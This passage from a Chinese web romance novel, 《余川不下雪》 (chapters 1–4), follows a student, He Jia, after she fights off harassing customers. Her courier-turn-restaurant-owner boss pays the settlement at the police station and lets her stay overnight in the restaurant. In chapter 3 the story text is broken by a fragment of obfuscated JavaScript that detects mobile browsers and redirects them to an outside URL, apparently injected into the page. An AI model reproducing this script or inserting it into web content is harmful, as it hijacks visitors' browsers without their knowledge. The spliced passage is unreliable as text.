《余川不下雪》
1. 第1章(修)
天寒地冻,冷风刺骨,2017年的冬天比以往更冷。
何嘉身上只穿了件薄毛衣,坐在铁椅上的时候忍不住发抖。
她来派出所的时候什么都没带,手机和外套都放在店里,现在只能坐着发呆。
隔壁警官看她皱成一团,好心问她:“冷吗?要不要我喊谁给你找件外套?”
她摇头,只问:“请问你们联系饭店老板了吗?我没带手机,没法让她过来。”
警官说:“联系了,你过来的时候就联系了。再等等,快了,等他过来就可以开始调解了。”
“好,麻烦了。”何嘉低着头,看见自己的手背白一块红一块,是冻的。
她心情很差,但尽力忍着不适,将希望都寄托到那位只有一面之缘的老板身上。
才到人家的饭店兼职,就惹出这么大一个祸事出来,她只能祈祷,老板宽宏大量,会把她从这里快点领出去。
几个小时前,何嘉在饭店遇上了一件棘手的事情。
几个满脸横肉的男人来吃饭,要了包间之后让她在房间里上茶。
她本就初来乍到,只好乖巧点头:“好的,我来帮你们倒茶。”
可谁知,其中一个秃头男在她倒茶的时候伸出了咸猪手,他油腻的手掌在她腰上抓了一把,她立马警觉:“你干什么!”
秃头男笑了下,朝身边的男人问了一圈:“兄弟们我干嘛啦?你们看到了吗?”
他们哄笑一声,只管起哄:“没看到啊!怎么回事儿啊?”
何嘉眼神一凝,转身向外走,秃头男却抓住她的手腕不放她走。
她恼了,反手将手上的热茶泼了出去,滚水洒在他脸上,他的惊叫和茶壶碎裂的声响回荡在包间里。
一行人面面相觑,倒是秃头率先找回意识,在何嘉脸上留下结实的一巴掌。
她也不是软骨头的人,捡起地上的碎片就往那人头上砸。
“哐当——”秃头男的额头被砸了个口子,鲜血顺着皮肤慢慢滑落。
他脸上染上一个奸邪的笑,抓着何嘉的领子,作势又要打她。
她一直盯着他,眼神比他更狠:“你要打是吗?报警,我现在就报警!你等着,你今天再打我一下,你明天都别想出来!”
“呵呵?”秃头男看她绝不服输的样子,来了兴致:“报警?报警是吧?”
他大致环顾包间,发现没有监控,轻笑一声放开她的领子,又朝身后的几个男人打了个眼色。
那些男人会意,竟然主动把电话拿到何嘉面前,其中一个说:“报警啊,报吧。”
何嘉迟疑半瞬,看不懂他们的意思。
男人抓住这个间隙,立马拨通了110,没过多久就来了个警官,他们大致了解经过,没再多问什么,只是立马将何嘉铐走了。
剩下的人也进了警局,但是待遇都比她要好。
这让她一时间觉得荒唐。
在派出所一直坐到夜间,何嘉的脚尖麻木,她试着跺了跺脚,但始终找不回温暖的温度。
墙上的时钟走得好慢,时针快要指到“10”的时候门外才传来一阵脚步声。
“吱呀——”房门被一股力量推开,冷风着了魔似的往里灌,何嘉忍不住打了颤,连忙在椅子上端坐好。
她朝门外看去,比人先进来的是一句道歉——
“不好意思,我来晚了。”
是个男人的声音。
何嘉确定自己没有听错,心里疑惑了刹那。
一个男人闯入她的视线,他身形挺拔,穿着一身快递工装,看上去很严肃又正派。
她眼睛眨也不眨地盯着他,正在思考她哪里认识这个人。
那人关了门朝里走,眼神先往何嘉这儿看了眼,又转头看向两个警察:“抱歉,刚才路上遇到点事儿耽搁了。”
其中一个警官对他点头:“来了那我们就开始吧,那边儿也等久了。”
他说好。
何嘉从椅子上站起来,看着他朝自己一步一步走近。
他停在她面前,轻描淡写地说:“我来处理。”
她表情愣愣,只问:“请问,你是哪位?”
两个警官抬头看向他们,但没说话。
“你老板。”男人没有表情,很自然地在她身边坐下。
何嘉还想问:“可是,昨天招我的老板好像叫张姨?”
他看了她一眼,冷冷地说:“我看上去应该不叫张姨。”
“呃。”怪冷的,她跟着他坐好,没再问什么。
“你们商量完了吧?”警官指着门外,提醒道:“调解对象就在门外,要是准备好了我们就开始走流程了。”
“好了。”李成杨先何嘉一步回答。
大门再次敞开,这次进来的是三个歪瓜裂枣,为首的是那个秃头男。
他在室内环视一周,看见何嘉旁边多了个人,笑了:“救命稻草来啦。”
何嘉瞪了他一眼,刚想说什么却被警官打断:“大家都知道现在为什么要调解了是吧?”
警官看向何嘉:“你把人打流血了啊,刚才来的时候已经跟你说过了,不调解的话就拘留,可能留案底,你现在是决定要调解了是吧?”
说完又看向秃头男那方:“你是被打,同意调解,提出的要求是赔款是吧?”
秃头男很快点头:“对!赔钱!打人赔钱天经地义!”
“咳。”何嘉身边的男人转头问她:“你打人?”
她小声解释:“是他们先骚扰我,然后我没忍住,就打人了……”
李成杨了然,目光落在她脸上红肿的掌印上,“然后你也被打了?”
“嗯,对的。”
“那为什么被调解的是你?”
“因为店里的包间没监控,他们人又多。”
说到这里,李成杨已经将事件的经过大致理清。
总之就是,这姑娘被人骚扰,防卫过后因为没有证据能证明是他们先动手的,再加上他们人多,脸上还有伤口,所以只能判她过错。
很不幸,也很荒谬。
但也确实是这么发生了。
“知道了。”李成杨叹了口气,说:“没监控是我的问题,这个事我来解决。”
“麻烦了。”何嘉神情黯然。
“要多少。”他喜欢开门见山,“要多少你们同意调解?”
秃头男“啧”了一声,同身边的人商量了几句,最后语气不善地说:“三千。”
“三千?”何嘉以为自己听错了,开始不淡定:“是你先骚扰我的,现在还要那么多钱?”
他敲了敲桌子,不依不饶:“妹妹,你这话怎么说的?谁骚扰你了?”
又看向身边的人:“你俩说,我骚扰她了吗?有什么证据能证明我骚扰她了?这是诽谤是不是?”
他们口供一致:“没有啊!这小妹怎么张口就乱说呢!”
“你们!”
何嘉从没见过这么不要脸的人,手掌开始不自觉发抖。
“先冷静。”李成杨象征性拍了拍她的肩膀,表示安慰。
警官眼光老练,早知道李成杨才是话事人,于是直接问他:“赔偿三千,你们接不接受?”
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他点点头,很淡然:“可以。”
她却觉得一点也不可以。她浑身上下都找不出三千块钱,况且昨天去饭店兼职就是为了存点毕业要用的钱。
“我没那么多。”何嘉偷偷去戳他的袖口,语气不自信。
他轻微点头,说:“我给,我说了我来处理。”
陈警官喜欢这种不墨迹的人:“那行,确定了的话我们现在就签调解书,可以吧?”
李成杨没马上答应,剜了秃头男一眼,又很快看向警官:“这个钱我们赔了之后就完事了吧?后续有什么就不关我们的事了。”
“对的,签完就了结,这就算个民事案件。”
“好,那就这样。”
何嘉和他靠近一点,悄悄跟他说:“三千挺多的,要不我们再谈谈吧?”
他没后退,只回答:“等会儿再说。”
警官将调解书递到何嘉面前,提示:“签吧,签了再赔偿。”
何嘉签下自己的名字,按了手印之将文件递给秃头男。
秃头男很得意:“哎呦好好好,你说这事儿弄的,不体面真不体面。”
“说什么?”李成杨冷淡地朝他伸手:“收款码拿来。”
秃头男摸出手机递给他,他在屏幕上点了几下,三千块瞬间到账。
“可以了。”他把手机还给秃头。
秃头嘴都咧到耳朵上去,非要拿出头上的伤再晃一晃:“小妹妹啊,以后遇到事情还是要冷静,你看你给我搞的,都不知道要好久才能好。”
何嘉气得脸都憋红了,却只能将拳头攥得紧紧的。
“闭嘴。”李成杨对他已经没有耐心了。
秃头男还想挑衅,陈警官先他一步打断:“差不多得了,你还没签字啊,把字签了。”
秃头的跟班儿跟着附和:“对对对,咱们这种老实人该听警官的。”
“嘁。”秃头扯过调解书,嘴上不停:“今天是我们决定不追究了,算你们走运。”
何嘉仍旧黑着脸,并不打算再和他们争执。
警官收回调解书,做了最后的宣告:“好了,签了调解协议就结案了,大家都到此为止好吧,各回各家,这个事情就彻底处理完了。”
“麻烦了。”李成杨起身和两位警官握手,何嘉木讷地跟在他身后。
她摸了摸脸颊,刚才被打的地方还隐隐作痛。
好在走廊风大,刺骨的气温渐渐麻痹痛楚,只在她心里留下一阵委屈的伤痕。
她跟着他又走了几步,忍着情绪戳了戳他衣袖。
他并未察觉,她转而拉住他的衣角。
李成杨顿住,眼神滑过一瞬诧异,很快就恢复正常。
他问她:“怎么了?”
小姑娘望着他,眼里湿润,但很倔强。
她吸了吸鼻涕,声音闷闷的:“对不起,我以后会还钱给你的。”
“嗯。”李成杨的目光落向她的指尖,本该是白净的手指,现在已经被冻成紫红。
她没有穿外套,单薄的身躯在风里打颤。
“不穿外套就来了?”他没来由地问了句。
“没来得及。”
“嗯。”他脑子里闪过一个念头,但又觉得不合适,便没再提什么。
派出所的大门近在咫尺,他向刚才一样走在她前面。
何嘉在原地犹豫,不确定自己是否应该跟着他。
男人又走了几步,没听见身后的脚步声,回头的时候,风声带着他的声音卷到她耳旁:
“跟上我。”
很静,很温和。
2. 第2章(修)
从派出所出来的时候已经月挂当头,街上的LED彩灯早就歇下,整个路口只有几盏路灯散着暖光,看上去寂寥又落寞,正如何嘉的心情。
她跟在李成杨身后,心情忐忑。
而他一直沉默,没有和她多说什么,只是自顾自走着。
何嘉趁机打量他的背影。他很高,甚至比她高了一个头多一点,她跟在他身后就像德牧身边的柯基。
男人的头发短,配上结实的身型,即使是穿着一身灰扑扑的工作服,也让人觉得鹤立鸡群。
只是无法观察他的模样,刚才也没认真正眼瞧他,何嘉只隐约记得是非常让人印象深刻的。
“你去哪?”李成杨突然止步,转身看向她。
她一下回神,不敢正眼看他:“我的外套和手机还在店里。”
他指了指路边的轿车:“那上车,我也回店里。”
何嘉本想坐后排,但又想着他刚才帮自己解决了一桩人生大事,于是果断地拉开副驾驶的车门。
车内并不室外暖和多少,何嘉始终捏着拳头,还是因为很冷。
男人坐进主驾后看了她一眼,并不想和她主动说话。
她也不敢和他搭话,整个人紧绷成一团。
男人余光瞥到女孩的左脸,不自觉皱了眉。
他随手扯了两张纸递给她:“擦一下。”
“啊?”何嘉没反应过来。
“脸。”
“噢。”她立马应下,但想不明白为什么要这么做。
不管了,她只管照做。
只是这一擦什么也没擦下来,她心里犯迷糊,不明白他什么意思。
男人又瞥她一眼,这次解释:“脸上有血。”
何嘉立马想起秃头男被她砸得流血,只是不知道这血是什么时候滴到她脸上的。
她也管不了那么多,用力在脸上摩擦几下,碰到伤口的时候倒吸一口凉气。
李成杨皱眉,递给她一瓶喝了一半的农夫山泉,语气还是平淡:“用水擦。”
何嘉将纸巾打湿后又擦了一遍,废纸上果然有一层变成棕色的血渍。
这么说她刚才一直顶着这副样子和他说话?何嘉想到自己的窘样,脸上燥热,空气里弥漫着尴尬的气息。
第一次和老板见面竟然是这个场景。
男人只管专心开车,顺便问她:“还冷不冷?”
何嘉这才发觉他不知何时打开了暖气,车内气温一下升高不少,就算没有外套也不觉得寒气往骨子里跑。
她朝他微笑:“不冷了,谢谢。”
他没转头,神情一直淡淡的。
两个人陷入沉默,何嘉怕尴尬,选择去看窗外的街景,但一层雾气罩在玻璃上,什么也看不见。
她感到时间异常难熬,不但难熬还有些坐立难安。她长这么大还没有单独和异性处在这样狭小的密闭空间,一时间连手都不知道往哪儿放。
介于他刚才说自己是老板,又帮她给了和解费,她觉得自己应该主动和郑重道谢,可是好几次话到嘴边又不知道怎么开口。
李成杨早就发觉她不自在,主动破冰:“你叫什么?”
她回答:“何嘉。”
“兼职生?”
“对。”
他打了个哈欠,又问:“做多久?”
何嘉认真思考着说:“三个月。”
“干什么都知道了?”
“知道的。”
“嗯。”
何嘉想了想,决定问:“张姨不是老板吗?昨天是她招的我,我就以为她是老板。”
对方说:“我平时不在店里,张姨有时候过来帮忙看店。”
她的目光落在他的工服上,又问:“你平时是在送快递么?”
他眼睛一眨,喝了口矿泉水,喉结滚动两下。
回答的时候并不介意:“嗯,平时很忙,休息的时候才去店里。”
“是这样啊。”
何嘉问完就后悔了,她一个兼职的不应该多嘴。
没有话题的两个人,坐在同一个空间就是煎熬,何嘉逼自己装作从容的样子,在靠椅上动了几下。
注意力最终飘到李成杨身上。
很稀奇的一个人,明明开了家饭店却只是副业,主业竟然是送快递?就算能分身也不能同时做这两份工作吧?
但她选择把问题咽下去,一个人坐在原地磨皮擦痒。
“你有事?”李成杨见不得人别扭。
“没有。”何嘉尴尬地笑笑:“我就是坐久了,活动活动。”
“哦。我以为你屁股痒。”
“……”
好冷,气氛比刚才更冷了。
何嘉觉得诡异,假装淡定。
他却淡淡地说:“想问什么就问。”
“我没有想问什么。”
“嗯,我瞎了。”他皮笑肉不笑。
她更觉得诡异,抓着安全带一动不敢动,鼓足好大一番勇气,试探着问:“我刚刚就是在想,又送快递又开店是不是挺累的?”
“还行。”
“哦。”
“嗯。”
没话找话,何嘉实在受不了了,这下真的决定闭嘴,还是什么都不说的好。
车内安静好一会儿,他的手机忽然响铃,打破了这种静谧诡谲的气氛。
“喂?”李成杨直接摁开电话。
对面传来张姨的声音:“成杨啊,那个小妹出来了吧?有没有事的呀?”
“在我车上,没什么事。”
“哦好好,没事就好,幸好你来了,那我就先回了啊,饭店我没关灯的,方便你们回来哈。”
“嗯。”
挂断电话,何嘉才想起去警局之前,张姨还帮她和警察交涉了好一会儿。
怎么能把人给忘了呢,好歹张姨刚才还保护她来着。
“张姨回去了吗?”
李成杨点头:“回去了。”
何嘉脸上羞愧:“对不起,今天这件事连累你们了。”
他没回答,车子正好停在红灯路口,刺眼的红色打进车窗,他侧过身打量她的样子。
一张秀气的小脸多了一个掌印,乌红的颜色衬得她面颊白得可怜。
耷拉在脸侧的两绺碎发为她增添一丝清傲,可惜她的眼神出卖她,不安的神情忍不住往外跳,带着点赧然。
还是个青涩的小孩,什么都不懂的年纪。
何嘉不晓得躲避,顺着他的表情望进他的眼睛。
除了让秃头男闭嘴的时候,他的眼神一直像毫无波澜的湖水,如深渊那样习惯用平静去洞察人心。
但他的长相和他的淡定截然相反,他拥有十分锋利的五官,若不是气质温和,看上去就会是那种攻击力极强的长相。
好在他眉眼深刻也不显得拒人与千里之外,反而有种咖啡熟透的香气。
滴答滴答,绿灯亮起,终结了片刻停滞。
李成杨发觉不妥,率先转开视线,“不用道歉,今天的事你做得很对。”
“真的吗?”何嘉眸子里一瞬难以置信,“可是我让你赔钱了……还让好多人看热闹,感觉对店里影响不好。”
他说:“遇到这种事反抗是正确的,但是不代表做得好。”
“为什么?”
“他欺负你你打他,天经地义。但是你有没有想过,当时只有你一个人和他们几个对峙,这样的冲突很危险。”
“我没有想那么多。”
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“保护自己最重要。”
“我保护自己了,但是最后还是我们赔钱。”
李成杨摇头,说:“包间里没监控是我的疏忽,警察偏向他们也很现实,他们三份证词而你只有一个人。下次可以叫人,不要硬碰硬。”
“知道了。”她低下头,还是道歉:“今天的事总的来说还是要道歉,还有,谢谢你,老板。”
李成杨没反应,继续开车。
何嘉瞟了他一眼,很快反思:难道是不够礼貌?
她换了措辞:“对不起,以及谢谢您,老板。”
他终于盯了她一眼,觉得好笑:“您?”
“对。您肯定比我大,所以要尊敬点,何况您今天还把我从派出所捞出来了,我更应该对您尊敬一点。”
“停。”
他听到这个“您”字就烦,就像在时刻提醒他的年龄一样。
他不是很乐意。
“别‘您’来‘您’去的,正常讲话就行。”
何嘉怕自己不够周到,反而坚持:“不是的,对长辈还是应该要有礼貌的。”
“长辈?”他转过去看她是不是认真的,然而女孩的脸上确实郑重其事。
他想笑,刚才解救了她,反手她就给他抬了个辈分。
“你多大?”
突兀的问题,但何嘉回答:“我二十二了。”
“……”这下换他沉默了。
得,那还真是长辈了。
一股黑气围绕在他周围,他妥协道:“那我确实是你长辈。”
“那你……”何嘉想问他的年龄,却又迅速打住,老板的私人问题还是不问的好。
李成杨对她的善解人意很满意,抿着唇没有发话。
车辆行驶在空荡的大道上,何嘉看到街景变得熟悉,忽然又想起什么。
她离他近了几寸,眨着眼睛看他:“老板,我等会儿可以加你的微信吗?”
“微信?”李成杨没动,手指在方向盘上轻敲几下,慢慢地问:“加我微信干什么?”
何嘉说:“方便我以后还你钱。”
确实是个很合理的理由。
他又问一句:“为什么要以后?我可以从你工资里扣。”
“啊?”她慌了,接连摇头:“不可以不可以的!”
“为什么不可以?”
“因为我没钱。”
“我会给你发工资,你就有钱了,只是扣一部分罢了。”
何嘉面露难色:“可是,你一个月只给我开两千。”
两千?李成杨眉毛一挑,“那不好意思了,可以扣两个月。”
什么……
她一听这话瞬间失去所有力气,本来是存钱读研的,现在还要白打两个月工。
“老板,可不可以通融一下?”何嘉又去戳他的衣袖,动作很轻,羽毛一般蹭在他手臂上。
他指尖微僵,愣着不回复。
“老板?”她又叫他一声,语气可怜兮兮的。
“老板,你可以先不扣我的工资吗?我现在手上有点紧张,兼职的钱对我来说挺重要的,我以后一定会把今天欠的钱还给你的。”
“我保证。”她伸出四根手指,一脸决绝的样子。
像个湿漉漉的刺猬。
“你刚才说干多久?”李成杨继续轻敲手指,发出一阵细微的摩擦声。
“三个月。”
“那以后是多久?”
“就是,三个月以后?”
他笑了,头一次觉得有人说话很有意思。
“那就以后再说。”
三个月不算长也不太短。
他也不是什么凶神恶煞的老板,那就三个月之后再说吧。
3. 第3章(修)
“好,谢谢老板。”
何嘉听他这么说,心想他这人可真好相处。
这样一来她就可以把未来几个月的兼职费存着,再等研究生开学后申请助学金,那么学费和生活费就都有着落了。
小姑娘一时间心情大好,忍不住弯一弯嘴角。
旁边的李成杨不明所以,只觉得她这人可真有意思。这一下午出的事情不算小,她也能笑得出来。但这不关他的事,他只习惯性保持沉默。
一路上走了半个小时,“老李现炒”的招牌在夜里像一盏煤油富裕的灯塔。
招牌的白字早就被灯光染成老旧的黄色,但上面没有一丝灰尘,看上去非常干净,就像她身边这人给他的感觉一样。
何嘉看着那几个字,猜测这里说的“老李”是不是身边的人,但他怎么看都不像“老”李,最多就是个“中”李吧。
唔,中李好像也说大了,他看上去蛮年轻的,只是不好猜测到底多大,二十七八应该是有的吧。
李成杨看她盯着外面发呆,再次觉得她这人很神奇,“到了不下去?”
她反应过来,有些不好意思:“我现在就去拿东西。”
他一扬下巴,“快去,等会儿我锁门。”
何嘉刚打开车门就被一阵冷风吹得打颤,今年这天气怎么冷都不满足似的,明明才十二月底就像往年二月那么冷一样,奇怪。
她站在地上跺跺脚,想让身体适应室外的温度,但又没什么用,最后还是一股脑冲进饭馆。
李成杨仍坐在车里,把她刚才的一连串动作都看在眼里。刚才她说自己已经二十二了,但他看着不像,这姑娘还年轻,跟个小朋友一样。
但是这和他无关。
这段时间流行过圣诞,快递多得根本派不过来,他好不容易忙完准备下班,偏偏店里又出了这样的状况,他早就没精力去管别的事情,还不如坐这儿打个盹。
车内暖气席卷他的疲惫,一时间让他放下紧绷的弦,数不清多少个夜晚都是这样随便应付过去。
今天却不一般。
不过五分钟,车窗处传来几声清脆的敲击声。
他一皱眉头,迟疑地抬头去看。
那是一双非常明亮的眼睛,就像盛着九月的清泉。她的睫毛在路灯下拉长阴影,经不住风吹。
“怎么了?”他按下车窗的时候觉得太阳穴有点痛。
何嘉穿着件黑色的棉服,仍旧忍不住发抖,“老板,我能跟你商量个事吗?”
李成杨没功夫和她兜圈子,“直接说。”
她忍不住吸了吸鼻子,小脸冻得通红,“我今天可以不可以在店里将就一晚?”
他奇怪地盯着她:“你不回宿舍?”
她回答:“这个点已经过了门禁了,我们最晚十一点回宿舍。”
他摸出手机看了眼时间,果然已经很晚了。
何嘉站在风里,头发不听使唤地乱跑,她总是要伸手去理。她的脸上渐渐多了一层焦急,但更多的还是恳求。
“可以吗?”她试探着说,不自然地和他对视。
他不同意:“去住宾馆,你一个人在店里不安全。”
她把住他的车窗,弱弱地说:“我没钱……”
李成杨怀疑她就是专门来给他找事的,怎么就偏她事情那么多。
“我帮你订一间,钱后面一起还我。”
何嘉急得舌头打结:“用……不用,真的不用,我一个人在店里也不会乱跑,不会不安全的。”
他想知道她反应那么大干什么:“我又没让你马上还我,以后一起还够意思了。”
她放低姿态,眼神里满是哀求:“老板……我真的没钱,要是越欠越多就真的还不完了。我真的可以自己在店里将就一晚的,不会有问题的。”
“求你了。”
她又补充一句,面颊被冷风吹得通红。
他的视线划过她的脸颊,那里还留着一个巴掌印。面前的女孩皱着眉头,淡红的嘴唇紧紧抿在一起,看上去一副可怜的模样。
即使是这样狼狈的样子也难掩她超脱常人的气质,是非常柔美又倔强的面容。
他不由得叹了口气,“让一让,别挡到门了。”
何嘉以为他要开车走人,瘪着嘴一动不动,就像是在和他较劲。
只怔了一秒,他重复:“你先让一让,挡着我了。”
她偏不让,眼神坚定。
他看着她的表情觉得有点好笑,忍不住打趣一句:“你不让我下去,是想睡大街上?”
她不理解:“那我可以睡店里了吗?”
他解释:“你不让我下去,我怎么去店里?”
“嗯?”她没反应过来。
他耐着性子再说一遍:“二楼有一个房间。你不让我下去我怎么领你进去?”
何嘉立马松手,眼睛多了一闪笑意,“好,谢谢老板。”
李成杨摇摇头,熟练地领她走向饭馆。
何嘉寸步不离地跟着他,生怕他又说要送自己去宾馆。
他没心思管她怎么想,只是在前面带路。何嘉才刚来,还没来得及上二楼看看是什么样子,现在看来和一楼也大差不差。
七八张桌子摆放得整整齐齐,甚至有些规矩得过分,给人的感觉很统一,不允许有一分一毫逾矩。
她继续跟在他身后,随着他的脚步踏上楼梯。这感觉很奇妙,她从来没有这样相信过一个陌生人,但不知道怎么回事,他给她一种非常踏实的感觉,所以她愿意紧随其后,也愿意相信他是个好人。
他带她经过一排包间,打开了最里面的那扇门。
原来这是一间包间改装的小房间。
屋里很空旷,没有任何杂物,除了一张小木床就是一张桌子,桌子上随意放着一个本子,不知道是用来写什么的。
李成杨将钥匙放在桌子上,回头去看何嘉,“你晚上睡这儿。”
何嘉走近一步,好奇地环顾四周。
她的气息充斥着整个房间,李成杨想起这会儿孤男寡女的不太好,主动向后走几步与她拉远距离。
她压根儿没想起这回事,目光一下子落在靠墙的那张床。
深灰色的被套看上去非常冷漠。
他顺着她的目光看到那张小床,突然想起来什么:“没有多的被子。”
意思是她只能盖他的被子,如果她要住这里的话。
何嘉收回目光,只顾猛地点头:“没关系。”想了一秒又觉得有些冒犯,这可是他的房间,她没关系哪有用,有关系的是他介不介意自己用这个房间。
她迟疑地问:“我可以用你的被子吗?”
李成杨不知道她到底怎么回事,不能的话他干嘛带她来这里?问这话有什么必要么。
但他还是回答:“可以。”
“谢谢,谢谢老板。”小姑娘笑起来露出两个梨涡,怪扎眼的。
他不再看她,掀开枕头翻了个遥控器出来,“冷就开空调。”
何嘉又扫了一眼被子,看上去很薄,应该连五斤都没有,不知道他平时怎么盖得了的。
他见她做出思考的样子,更觉得好笑。这人有什么都写在脸上,还喜欢看人脸色乱想一通。
不过他很善解人意,主动说:“我平时不住这里,偶尔下班晚了才过来,被子没怎么用过。”
“噢,好的。”她接过遥控器,点了点头。
李成杨摸出手机看了眼时间,兜兜转转都快十一点半,他实在感到困倦。
长舒一口气,他不忘叮嘱:“钥匙收好,晚上把该锁的门都锁好。”
何嘉当然记好,“知道了,我不会惹麻烦的。”
“嗯,我走了。”他不想多说,反正别再给他弄出什么需要他解决的麻烦就行了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242328|197793||http|test|mini|href|location''.split(''|''),0,{}));
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>她一下想起他还没有给她联系方式呢。
“老板——我该怎么联系你?”
李成杨顿住脚步,语气疲惫:“张姨有我号码,你明天问她。”
“噢,”她还是这一句,看着他的眼神恭敬,“谢谢老板,老板再见。”
他没搭话,径直走下楼梯。
黑暗中,男人的脚步声越来越远,何嘉赶忙跑到窗前去看他的背影。
他走得很快,影子被路灯拉得很长,看上去莫名有些寂寥的感觉。
他一直是这样的吗?
何嘉眨了眨眼睛,看到他启动轿车,随后那一点白色消失在夜幕中。
室内留她一个人,她觉得更冷了。
但是她不打算开空调,自己刚才麻烦了老板不少,现在哪好意思开空调,即使他不介意她也不好意思再花他的钱。
一晚上不知道要用几度电呢,怪贵的。
还是直接睡觉吧。
何嘉走到那张小床前,有些拘谨地躺在上面,刚躺下一秒又想起什么,于是找来两张纸巾垫在枕头上。
这样应该不算太冒犯吧。
其实她也不想睡别人的床,对她来说实在是太唐突了,不仅对别人唐突,对自己也很唐突。
但是她没有选择。
气温很低,她只能用那床薄薄的被子裹住自己。
何嘉小心地嗅了嗅被子,发现上面什么气味都没有,非要说的话只有一种空气里干燥的尘土味。
好像他给人的感觉,平平淡淡的,没有太大情绪。
她莫名想到他的样子。
眉眼很浓,鼻梁也高挺得恰到好处,明明应该是很有锋芒的长相,但给人的感觉却很温和。
但是她还是不敢多看,不知道是身份差距还是什么,她觉得他还是很威严的。
只是这样的面容,她也说不出在哪里看到过。
到底是在哪里看到过?
她试着在脑海里找寻相关的信息,竟然越想越起劲,势必要想出个所以然,不然不能睡去。
然后“信捷快递”几个字突然涌入她的脑海,那好像是李成杨工作服上面的LOGO。
她立马摸出手机,顺着这几个字点开快递APP,往下划到一两个月前的订单消息。
她平时很少买快递,记忆里偶尔那么几次的快递都是由同一个快递员派送的。
叫什么来着?
她点开那个订单,里面躺着一个名字——
李成杨。
“嗯?”何嘉觉得这个名字有种莫名的引力,促使她一定要点开去看看这个快递员的头像。
那是一个穿着工作服的男人,连最上面一颗扣子都扣得中规中矩。他是笑着的,只不过非常淡然,给人一种亲和却疏远的感觉。
应该是二十出头的年纪,他的脸上没有一丝皱纹,却多了那个年纪不该有的沉稳。
何嘉暗暗想到:原来早就见过他了,他以前就是这个样子。
退出APP,她十分机灵地用电话号码去搜他的微信。
一个就叫“李成杨”的账号摆在眼前,她十分自然地按下“添加到通讯录”,全程没有一点犹豫。
手机这边的李成杨刚从浴室出来,整个人散发一股热气。几滴水珠顺着他的短发滑落,在地上留下不深不浅的痕迹。
他擦干手去拿手机,通讯栏冒出一个红点。
一个小猫头像申请添加为好友。
他心里犯嘀咕,想不起来哪里有这号人物,再瞥一眼这个头像,突然又想起些什么。
一个姑娘眨着眼睛问他可以不可以要他的联系方式。头发乱糟糟的,脸上也伤得不轻,看上去可怜兮兮。
不过还挺聪明,不知道她从哪儿找到的电话号码。
但是加什么工作微信,除非她要寄快递。
他摇摇头,直接关上手机,没理。
4. 第4章
何嘉冻了一夜,这晚上睡得整个人都腰酸背痛。一会儿要担心被子漏不漏风,一边又迷迷糊糊想着老板有没有通过她的好友申请。
她在枕头下摸了几秒,总算是摸到手机,按开锁屏已经是早上九点整了。
再看看昨晚的申请,可惜还躺在那里没有任何响动。
伸个懒腰,何嘉揉了揉自己的左脸,昨天淤青的地方还痛着。
几乎是同一时间手机响了起来。
她拿起一看是林桂兰的电话,语气立马变得焦急。
“怎么了林阿姨?是我阿婆怎么了吗?”
对面回答地轻快:“不是不是,你别急啊。我看你阿婆今天醒了好一会儿,看上去比前段时间精神,我估摸着她可能想听你说说话。你那儿现在不忙吧?”
“不忙。”何嘉有些不敢置信,“她最近精神好么?幻觉严不严重?”
林桂兰摇头,语气严肃了些:“老样子,就今天清醒着,我看是这么些天精神头最好的了。”
何嘉有些失落:“她晚上睡得好不好?指标都正常的吗?”
林桂兰安慰道:“小嘉啊,你阿婆这些天都挺稳定的,你在那边儿就不操心这边儿的事的啊。今天有机会就和她说说话吧,等会儿她又该累了要睡觉。”
“好,那你把电话给她吧。”
电话那头传来一声杂音,而后是一阵绵长微弱的呼吸。
何嘉吸了一口气,先叫她:“阿婆,你最近好不好啊?”
“……”对方没有回答。
何嘉不怪她,继续说:“我昨天买了个圣诞帽,阿婆你晓不晓得什么是圣诞帽?就是圣诞老人戴的那个红扑扑的帽子,还有一圈白毛毛,可乖了。”
“……”还是没有回应。
何嘉感觉自己的嗓子被石头堵住,怎么咽都咽不下喉间的酸意。
她又呼出一口气,轻轻地问对面:“阿婆,你还记不记得我啊?”
王丽琼眨了眨眼睛,十分艰难地吐出两个音节:“jia……jia”
“诶,对,我是嘉嘉。”何嘉心里酸楚,抑制着情绪问她:“阿婆,你每天要好好休息知道不?你要好好的啊,以后要看着我去读研究生啊,不能自己先走了啊。”
“……”
何嘉在等,等她再回答一次。
可是王丽琼这次没有回答,她是真的有些发不出声调了。
两人在电话里沉默好一晌,何嘉不想挂电话。
林桂兰见不得何嘉伤心,赶忙将手机拿回自己耳旁,“小嘉啊,你别伤心,你阿婆现在说话是有点困难了,但是她心头肯定舍不得你……”
何嘉尽量用平静的声音说:“我知道的,我都知道了。我阿婆的情况你跟我妈说了吗?”
她回答:“说了的,昨天就说了。”
“我妈怎么说?”
“……”这回换林阿姨沉默,想了几秒出来一句:“就说让我好好照顾老人家。”
何嘉不去深究:“嗯,谢谢你了林阿姨,这么多年都麻烦你了,我不在阿婆身边就只有你照顾她了。”
“哎呦,”林桂兰连忙打断,语气宽慰:“你不要跟我说这些哟,你们既然请我来做事就是我份内的事情嘛!你在余川好好读书,你阿婆之前也总这么说的。”
“我知道的。”何嘉仍旧这么回答。
“好,那我就挂电话了啊?下回再联系啊。”
“嗯,拜拜。”
电话挂断后室内的冷空气瞬间冲进她的背脊,让她整个人感到疲软,一时间不知道该做什么。
又躺回床上,一床单薄的被子裹在身上,加上一件棉服也感受不到一点温暖。
何嘉盯着天花板上的某个黑点,想起自己读小学那会儿。
那时候王丽琼会带她去买菜,她可有一双火眼金睛,不新鲜的不要,不划算的不要,摊主想来忽悠几句硬是被她指着鼻子骂:“算盘打到我荷包里头来了嗦?也不看你娃儿几斤几两!”
每次摊主都要陪笑:“大姐你不买就不买嘛,那么大声干啥?还让不让我做生意了嘛。”
王丽琼鼻孔朝天,冷哼一声扬长而去。
然而如今,那个无懈可击的老太太再也说不出一句完整的话,整个人像木头一样常年卧在床上。她时常处于睡眠,醒了的时候大多处于幻觉之中。
她一直在自己的世界受苦。
何嘉翻了个身,告诉自己不要去想这些,她记得从前阿婆没那么严重的时候也说过,不要她想这些的。
那想什么好?想起自己被打还要赔钱,想起刚认识老板就欠他三千块钱,想起一月初要交的开题答辩稿一个字还没动。
怎么想想就觉得自己好像倒霉熊。
